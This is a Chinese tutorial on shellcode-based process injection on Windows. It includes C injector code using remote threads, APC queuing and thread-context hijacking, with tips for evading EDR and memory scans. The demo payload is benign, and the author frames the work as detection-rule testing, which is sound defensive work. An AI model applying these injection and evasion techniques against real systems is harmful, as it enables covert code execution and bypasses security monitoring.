简介这是一个面向驱动开发与Windows底层技术学习者的C无模块注入代码资源包适用于系统监控、动态性能分析及内核驱动入门等场景。压缩包共91个文件以Inject工程与Test工程为主包含.sln解决方案、.vcxproj工程配置、C/C源码.c、.cpp、.h、编译日志与构建中间文件.tlog、.obj、.pdb完整呈现从代码编写、编译到调试的工程结构便于对照学习VirtualAllocEx、WriteProcessMemory、CreateRemoteThread等Windows API的调用过程。整体包体约1.13MB轻量紧凑可直接在Visual Studio中打开构建。目前已有1794人学习下载。资源附带构建脚本与测试程序可帮助读者理解无模块注入的实现框架与驱动交互思路适合具备一定C基础、希望深入Windows内存管理与多线程编程的开发者参考。1. 无模块注入是什么一次EDR拦截后我为什么转向纯Shellcode内部攻防演练里我用经典 DLL 注入给目标进程挂一个检测模块代码写完不到半天监控后台就弹了模块加载告警。换成无模块注入把一段位置无关的 Shellcode 直接写进目标进程内存再借线程或异常回调把执行流引过去之后同样的流程没有产生任何模块事件。这个对比让我意识到检测引擎真正敏感的往往不是“代码在别人进程里执行”而是“模块链表里多了一个新对象”。无模块注入的价值在于它绕开了模块加载这条显眼链路让行为分析只能靠内存特征和调用栈去追。本文目标读者是 EDR 规则验证工程师、恶意软件分析人员和做攻防工具链的开发者读完你能照着一份最小 C 注入器把链路跑通也知道哪些参数不能乱调、哪些地方最容易翻车。2. 无模块注入与 DLL 注入的本质差异模块对象决定检测面2.1 为什么经典 DLL 注入会被拦模块对象出现在三个必要检测点经典注入流程里CreateRemoteThread 指向 LoadLibrary 的参数会让目标进程主动调用 LoadLibrary。这个流程有三个检测点。第一DLL 文件需要落地除非提前做了内存加载否则文件系统监控一抓一个准。第二LdrLoadDll 的加载通知回调会发往所有已注册的调试器、ETW 提供者和反外挂回调EDR 不需要“猜”它是同步收到通知的。第三PEB 模块链表多出一个节点任何枚举模块的工具都能直接看到模块名和基址。这三个点共同构成一条完整的检测链路文件落地、模块加载、模块可见。无模块注入在圈内其实覆盖两条技术路线。一条是纯 Shellcode一段不依赖 PE 头和导入表的机器码直接复制进目标进程内存并跳转执行另一条是手动映射把一个完整 PE 在内存里手工完成重定位和导入表解析但不走 LdrLoadDll。两条路线的共同点是不产生模块对象差异在于 Shellcode 没有 PE 上下文而手动映射仍然保留了 PE 结构。标题里说的“C 驱动无模块注入代码”按字面更贴近第一类用 C 写注入器注入的内容是纯机器码再由 C 代码调度整个注入生命周期。理解这个边界很重要。很多新手把“内存加载 DLL”也当作无模块注入但严格说内存加载 DLL 仍然会调用 LdrpLoadDll 的内部路径通知回调照样触发真正的无模块注入要避开的是整个模块加载机制而不是只避开文件落地。手动映射之所以也被归入无模块是因为它自己解析重定位和导入表不交给系统加载器所以模块链表里没有它。2.2 无模块注入的核心原理为什么检测引擎会“失明”一部分Shellcode 进入目标进程后VAD虚拟地址描述符里会多出一块私有提交区这段内存没有对应的镜像文件。检测引擎想发现它只能靠内存扫描寻找带 PAGE_EXECUTE 属性、又不在任何镜像地址范围内的区域。这个扫描成本很高所以实时监控里通常是抽样或者依赖页面保护变更的 ETW 事件不可能做到每次分配都立刻告警。这就是无模块注入的核心优势它把检测从同步模块通知拉长为异步内存扫描给注入代码留出执行窗口。但这不代表无模块注入等于隐身。调用栈回溯工具如果看到某个线程的入口地址落在没有模块名的内存区一样会标记可疑。只是这条检测路径更慢、更需要上下文通常要结合线程行为和内存扫描结果才能下结论。做检测规则验证时这一点反而有用无模块注入能测出规则里“仅依赖模块加载事件”的盲区。执行流劫持的起点有远程线程、APC、窗口钩子、异常回调、TLS 回调。远程线程实现最简单但“创建远程线程”这个动作本身会被行为监控记录。APC 需要目标线程处于 alertable 状态条件苛刻一点。VEH 异常回调几乎不产生线程创建事件触发时机却不好控制。具体选哪个取决于你在验证什么只是跑通链路远程线程足够想模拟低特征攻击链线程劫持或 APC 是更好的起点。2.3 注入方式选型表哪条路真正没有模块注入方式模块对象文件落地主要触发点执行入口LoadLibrary 注入有通常有远程线程 / APCDLL 入口点内存加载 DLL有无远程线程DLL 入口点手动映射无无远程线程 / APCPE 自定义入口纯 Shellcode无无远程线程 / APC / VEHShellcode 首字节从表里能看出一个容易误解的点LoadLibrary 注入即便用内存加载去掉文件落地模块加载通知依然存在手动映射和纯 Shellcode 才是完整意义的无模块。x64 平台还有一个细节CreateRemoteThread 的函数指针在 32 位和 64 位下的参数压栈方式不同跨位数注入时入口地址会被截断或错误解释这在后面避坑章节会专门展开。3. 写一个最小无模块注入器C 代码与逐参数落地3.1 最小注入器骨架分配内存、写入 Shellcode、远程线程触发先给一份完整的可编译骨架。Shellcode 用 6 字节的返回固定值机器码注入后线程立即退出退出码是 0x2A用来验证链路是否真正打通这段机器码不依赖任何导入表属于位置无关代码。实际测试时可以把 g_demoShellcode 替换成你要验证的目标代码但请先从无害内容开始。#include windows.h #include stdio.h #include stdlib.h // x64 演示 Shellcodemov eax, 0x2A; ret // 不依赖导入表线程执行后立即退出退出码为 0x2A static unsigned char g_demoShellcode[] { 0xB8, 0x2A, 0x00, 0x00, 0x00, // mov eax, 0x2A 0xC3 // ret }; int main(int argc, char* argv[]) { if (argc 2) { printf(用法: injector.exe PID\n); return 1; } DWORD dwPid (DWORD)atoi(argv[1]); // 1. 打开目标进程注意这里用的是最小权限组合 HANDLE hProcess OpenProcess( PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION, FALSE, dwPid); if (!hProcess) { printf(OpenProcess 失败, error%lu\n, GetLastError()); return 1; } // 2. 在目标进程内分配可执行内存 SIZE_T szCode sizeof(g_demoShellcode); LPVOID pRemote VirtualAllocEx( hProcess, NULL, szCode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!pRemote) { printf(VirtualAllocEx 失败, error%lu\n, GetLastError()); CloseHandle(hProcess); return 1; } // 3. 把 Shellcode 写入目标进程 SIZE_T written 0; if (!WriteProcessMemory(hProcess, pRemote, g_demoShellcode, szCode, written)) { printf(WriteProcessMemory 失败, error%lu\n, GetLastError()); CloseHandle(hProcess); return 1; } // 4. 创建远程线程入口指向 Shellcode 首字节 HANDLE hRemote CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemote, NULL, 0, NULL); if (!hRemote) { printf(CreateRemoteThread 失败, error%lu\n, GetLastError()); CloseHandle(hProcess); return 1; } // 5. 等待线程结束并读取退出码0x2A 表示链路通畅 WaitForSingleObject(hRemote, 5000); DWORD dwExit 0; GetExitCodeThread(hRemote, dwExit); printf(线程退出码: %#lx\n, dwExit); CloseHandle(hRemote); CloseHandle(hProcess); return 0; }OpenProcess 的权限是第一个关键参数。这里没有用 PROCESS_ALL_ACCESS而是只给了注入必需的四项PROCESS_CREATE_THREAD 用于创建远程线程PROCESS_VM_OPERATION 用于 VirtualAllocEx 和 VirtualProtectExPROCESS_VM_WRITE 用于 WriteProcessMemoryPROCESS_QUERY_INFORMATION 用于后续查询线程退出码。最小权限能减少被行为监控标记“高权限句柄”的概率也能让你在目标进程是 PPL 或更高完整性级别时更快发现权限边界。VirtualAllocEx 的 flProtect 用了 PAGE_EXECUTE_READWRITE这是最省事但最显眼的配置。对这个演示来说没问题因为它是临时验证代码但真实测试里我建议参考 3.3 节的做法先 PAGE_READWRITE 写入再收敛成 PAGE_EXECUTE_READ。CreateRemoteThread 的入口参数在 x64 下会被当作 LPTHREAD_START_ROUTINE它需要的是一个函数指针但这里传入的是裸内存地址Shellcode 没有栈帧和标准序言Windows 的线程起始逻辑会直接跳过去只要 Shellcode 自己保证栈对齐和返回方式正确即可。3.2 换成 APC 触发QueueUserAPC 与 alertable 状态远程线程最大的问题是“创建远程线程”这个动作太显眼。替代方案之一是把 Shellcode 地址包装成 APC 回调投递到目标线程。代码上只需要打开目标线程并调用 QueueUserAPC。// 按线程 ID 打开目标线程 HANDLE hThread OpenThread(THREAD_SET_CONTEXT, FALSE, dwThreadId); if (hThread NULL) { printf(OpenThread 失败, error%lu\n, GetLastError()); return 1; } // 把 Shellcode 地址作为 APC 回调投递 DWORD dwRet QueueUserAPC((PAPCFUNC)pRemote, hThread, 0); if (dwRet 0) { printf(QueueUserAPC 失败, error%lu\n, GetLastError()); CloseHandle(hThread); return 1; }QueueUserAPC 返回成功只代表回调进了队列不代表会立刻执行。目标线程必须进入 alertable 等待状态SleepEx、WaitForSingleObjectEx、MsgWaitForMultipleObjectsEx 等系统才会派发 APC。如果目标线程正在跑 CPU 密集逻辑这个 APC 可能永远等不到执行。常见做法是注入前先枚举线程找正在 WaitForSingleObjectEx 的线程或者直接对一个挂起的线程 QueueUserAPC再通过 ResumeThread 让它进入调度触发 APC 派发。实际测试里我通常先挂着目标线程投递 APC再 ResumeThread执行时机最可控。3.3 必调参数权限、页面保护与线程标志几个参数贯穿所有无模块注入实现这里统一收敛一下。OpenProcess 权限建议是 3.1 节的最小组合VirtualAllocEx 的保护属性建议先 RW 后 RX线程创建标志建议默认 0需要精确控制执行时机时用 CREATE_SUSPENDED。// 把远程内存从 RW 切换成 RX去掉写权限降低内存扫描特征 DWORD dwOldProtect 0; BOOL bOk VirtualProtectEx( hProcess, pRemote, szCode, PAGE_EXECUTE_READ, dwOldProtect); if (!bOk) { printf(VirtualProtectEx 失败, error%lu\n, GetLastError()); }页面保护策略值得多说一句。PAGE_EXECUTE_READWRITE 是内存扫描工具最先盯上的属性因为正常程序极少动态分配 RWX 内存。先 PAGE_READWRITE 写入再 VirtualProtectEx 切成 PAGE_EXECUTE_READ执行阶段该区域只剩读和执行权限与许多 JIT 引擎的页面属性相似特征明显下降。但要注意纯 Shellcode 不需要回写自身所以切 RX 安全如果注入的是需要运行时自我修改的代码就不能切。参数建议值理由OpenProcess dwDesiredAccessCREATE_THREAD / VM_OPERATION / VM_WRITE / QUERY_INFORMATION最小权限避免 ALL_ACCESS 被标记VirtualAllocEx flProtect先 PAGE_READWRITE后 PAGE_EXECUTE_READ避免 RWX 区段特征CreateRemoteThread dwCreationFlags0 或 CREATE_SUSPENDED默认直接执行需要控时机再挂起WaitForSingleObject 超时5000ms 足够防止注入失败后线程无限挂起4. 无模块注入的 5 个踩坑记录从静默失败到目标进程崩溃4.1 线程秒退32/64 位架构不匹配的翻车现场现象是 CreateRemoteThread 返回了有效句柄WaitForSingleObject 也立即返回GetExitCodeThread 拿到的是 0xC0000005访问冲突或 0xFFFFFFFF。原因基本可以锁定在架构不匹配注入器是 32 位目标进程是 64 位或者反过来。32 位的 ntdll 和 64 位的 ntdll 调用约定不同线程入口地址被错误解释。解决方法是先拿 IsWow64Process 检查目标进程位数再匹配注入器编译架构不要试图写一个跨位的裸 Shellcode那需要单独维护两套机器码。我自己的习惯是给注入器加一个启动检查如果注入器是 32 位而目标返回 IsWow64Process 为 FALSE直接拒绝运行。这个检查写起来不到十行能省掉大量“线程秒退”的排查时间。血泪经验跨位注入是这类工具里最隐蔽的静默失败C 编译器的指针大小警告不会覆盖远程线程入口这种用法。4.2 OpenProcess 失败目标进程权限高于注入器现象是 OpenProcess 返回 NULLGetLastError 是 5拒绝访问。原因只有一个注入器进程的权限不够。目标进程可能是 SYSTEM 级服务或者以更高完整性级别运行也可能受到 PPL受保护进程机制的保护。解决方向有三条把注入器以管理员权限启动以服务方式运行提升到 SYSTEM或者换一个同权限的目标进程做验证。不要在这里赌“注入器跑在管理员下就能开 SYSTEM 进程”Windows 的完整性级别机制不是这么工作的。测试时还有个常见误用OpenProcess 请求 PROCESS_ALL_ACCESS在目标进程权限高于自己时失败概率更大。先用最小权限组合试拿到句柄再逐步扩展如果最小权限都失败说明你在系统权限上输给了目标进程换目标进程比硬碰硬更实际。4.3 APC 从未触发目标线程不处于 alertable 状态现象是 QueueUserAPC 返回 1但目标进程里没有任何反应。原因不是 API 调错了而是目标线程没在等待队列上被唤醒。系统只在目标线程进入 alertable 等待时才会派发 APC 回调线程正在循环计算或阻塞在不可告警的 I/O 上时APC 就躺在队列里等待。解决方法是注入前先查目标线程状态更稳妥的方案是把目标线程挂起投递 APC再 ResumeThread让线程在重新进入调度时处理 APC。我这里一般倾向后者因为它不依赖对端线程的运行状态。如果用了挂起线程方案还是没触发检查 OpenThread 权限是否包含 THREAD_SET_CONTEXT。QueueUserAPC 本身需要的是 THREAD_SET_CONTEXT 权限不是 THREAD_ALL_ACCESS。权限不够时 QueueUserAPC 会直接失败但有些版本的系统上它会返回 0xC0000022 的 NTSTATUS容易被误解为“投递成功但没执行”。4.4 目标进程崩溃Shellcode 不是位置无关代码现象是注入后目标进程直接崩溃错误记录指向非法指令。最常见的解释是 Shellcode 不是位置无关代码。C 编译器默认产出的函数代码里可能有绝对地址、全局变量引用或导入表调用这些地址在自己的进程里有效换到目标进程后就成了指向空白内存的地址。解决方法是Shellcode 必须用汇编手写或者用支持位置无关输出的编译器选项生成不可以用“随便编译个函数然后取函数地址”这种取巧方式。即使拿汇编写了也要注意 x64 下的栈对齐问题。Windows x64 ABI 要求 call 指令后栈按 16 字节对齐如果 Shellcode 入口处直接调外部 API栈不对齐就会在 API 内部崩溃。我在测试一个 MessageBox Shellcode 时遇到过两次这种翻车函数地址和机器码都对但进 API 就崩最后发现是栈对齐差了 8 字节。编程习惯上Shellcode 第一件事是保存寄存器、校准栈指针再进业务逻辑。4.5 注入成功但内存扫描暴露 RWX 区段现象是 Shellcode 执行成功退出码也读到了但内存扫描工具在目标进程里找到了 RWX 区段并标记告警。原因就是 3.3 节提到的分配时直接用 PAGE_EXECUTE_READWRITE没有做权限收敛。解决方法是先 RW 写入、再 VirtualProtectEx 切 RXShellcode 执行完后用 VirtualFreeEx 释放或者把该区域填充成 0xCCint3并切回 PAGE_READONLY避免留下可执行残留。这里有个容易被忽略的细节如果使用 APC 或线程劫持Shellcode 所在的线程栈字段也可能会保存返回地址残留的内存区域不只有 VirtualAllocEx 那块。清理时需要把线程状态也考虑进去否则线程退出后栈内存仍未回收。多花几行代码做清理能让你在真实环境中多活很久。5. 从防御视角重新审视无模块注入检测点与规则验证5.1 EDR 抓无模块注入的四个特征点无模块注入绕开了模块加载通知但留下了新的特征。第一个是内存属性私有提交区加上 PAGE_EXECUTE_READ 或 PAGE_EXECUTE_READWRITE且没有对应镜像文件。第二个是 VAD 树该区域没有文件映射Subsection 为 NULL。第三个是线程入口地址新建线程的 StartAddress 落在非镜像区域调用栈回溯会出现未知模块帧。第四个是行为链单个进程短时间内在内存中写入数据再修改保护属性为可执行然后创建远程线程或修改线程上下文。这些特征里内存属性检查成本最高所以很多 EDR 默认只在特定时机触发完整扫描例如进程创建、线程创建、敏感的 API 调用返回时。线程入口地址是相对容易捕获的信号CreateRemoteThread 返回后线程的 StartAddress 参数会直接暴露给内核回调。5.2 节的验证方法就是围绕这些特征设计的。5.2 用注入对比法验证你的 EDR 检测规则我在做规则验证时会用同一个 C 注入器编译出两个版本一个走经典的 CreateRemoteThread 入口一个走无模块注入入口。先注入一个正常 DLL确认 EDR 有模块加载告警再用无模块注入跑同一行为对比告警覆盖差异。# 编译注入器MSVC cl /EHsc /O2 injector.cpp # 启动目标测试进程 start notepad.exe # 注入并读取退出码0x2A 表示链路通畅 injector.exe PID验证时重点看三件事第一无模块注入是否产生了模块加载类告警如果有说明规则里挂了模块通知类钩子第二是否产生了内存扫描类告警如果有说明规则覆盖了页面保护和非法内存分配第三告警延迟是多少同步告警和异步告警的处置策略完全不同。这个对比结果就是规则优化的直接依据缺失的告警项就是需要补的检测点。实际测试不要只跑一次。我一般每组行为跑十次每次间隔随机避免命中检测逻辑的采样窗口。如果十次里只有两三次触发内存扫描告警说明规则是抽样扫描而非全量扫描加固方向应该是提高采样频率或加入线程创建时的定向扫描。6. 进阶用线程劫持做触发点并建立注入后的健康检查习惯6.1 线程劫持触发不创建新线程的执行路径CreateRemoteThread 和 APC 都有各自痕迹。第三个思路是线程劫持找到目标进程里一个已经存在的线程挂起它修改 RIP 到 Shellcode再恢复执行。这个方式不创建任何新线程线程启动的告警链路完全避开。HANDLE hThread OpenThread( THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, dwThreadId); if (hThread NULL) { printf(OpenThread 失败, error%lu\n, GetLastError()); return 1; } // 挂起线程保存当前上下文 SuspendThread(hThread); CONTEXT ctx { 0 }; ctx.ContextFlags CONTEXT_CONTROL; if (!GetThreadContext(hThread, ctx)) { printf(GetThreadContext 失败, error%lu\n, GetLastError()); ResumeThread(hThread); CloseHandle(hThread); return 1; } // x64 下改写 RIPx86 改写 EIP ctx.Rip (DWORD64)pRemote; if (!SetThreadContext(hThread, ctx)) { printf(SetThreadContext 失败, error%lu\n, GetLastError()); ResumeThread(hThread); CloseHandle(hThread); return 1; } ResumeThread(hThread); CloseHandle(hThread);执行 Shellcode 的线程是目标进程的原有线程调用栈上能看到线程原来的历史帧比新建线程更自然。但代价是如果 Shellcode 没有把上下文恢复目标线程会丢失原有执行流进程行为会被破坏。我的做法是 Shellcode 第一件事保存完整寄存器快照和处理函数汇编入口退出前恢复现场并跳回原 RIP。这个技巧用在模拟无新线程特征的攻击链时非常有价值。6.2 注入完成后的健康检查习惯每次注入测试跑完我都习惯遍历一遍目标进程的虚拟内存确认没有遗留 RWX 区段或未释放的可执行内存。用 VirtualQueryEx 扫私有内存块检查页属性里是否同时有 PAGE_EXECUTE 和 PAGE_WRITE如果发现残留直接用 VirtualFreeEx 释放。这看起来是收尾动作却经常能暴露注入器里没做干净的逻辑比如线程退出码拿到了但远程内存忘记释放比如页面保护切完之后执行路径里有一个分支提前 return跳过清理代码。很多“注入成功但目标进程变卡”的玄学问题根源就是内存里堆积了多个可执行残留块。时间久了我养成一个习惯注入器里把清理逻辑和注入逻辑放在同一个函数的 RAII 类里构造函数注入、析构函数清理任何 return 路径都不会漏掉释放。如果你只是拿来做检测规则验证这个习惯也能保证测试环境不被上一次实验污染每次验证都是干净起点。希望帮到你。本文还有配套的精品资源点击获取